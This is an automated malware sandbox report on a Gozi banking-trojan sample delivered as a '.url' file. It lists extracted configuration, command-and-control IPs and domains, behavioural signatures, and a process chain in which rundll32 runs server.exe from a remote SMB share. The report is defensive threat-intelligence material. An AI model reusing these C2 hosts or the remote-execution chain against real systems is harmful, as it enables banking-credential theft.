Analysis
- max time kernel
145s - max time network
153s - platform
windows10-2004_x64 - resource
win10v2004-20230220-en - resource tags
- submitted
14/03/2023, 08:40
General
- Target contratto/contratto.txt.url
- Size 195B
- Sample230314-kkwldaed65
- SHA256 c80b9eaec33249302be9f38eb6ad9212a82197d853e15450d672f363f5fdd81e
Score
10/10
Malware Config
Extracted
Family
-
gozi
Botnet
-
7713
C2
-
checklist.skype.com
-
62.173.142.51
-
94.103.183.153
-
193.233.175.111
-
109.248.11.145
-
31.41.44.106
-
191.96.251.201
Attributes
-
base_path
/drew/
-
build
250255
-
exe_type
loader
-
extension
.jlk
-
server_id
50
rsa_pubkey.plain
aes.plain
Extracted
Family
-
gozi
Signatures
- Gozi
Gozi is a well-known and widely distributed banking trojan.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Windows\System32\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\contratto\contratto.txt.url1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
\??\UNC\109.248.11.164\Agenzia\server.exe"\\109.248.11.164\Agenzia\server.exe"2⤵
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/1228-134-0x0000000000630000-0x000000000063B000-memory.dmp
memory/1228-135-0x0000000002110000-0x000000000211D000-memory.dmp
memory/1228-138-0x0000000000400000-0x00000000004BA000-memory.dmp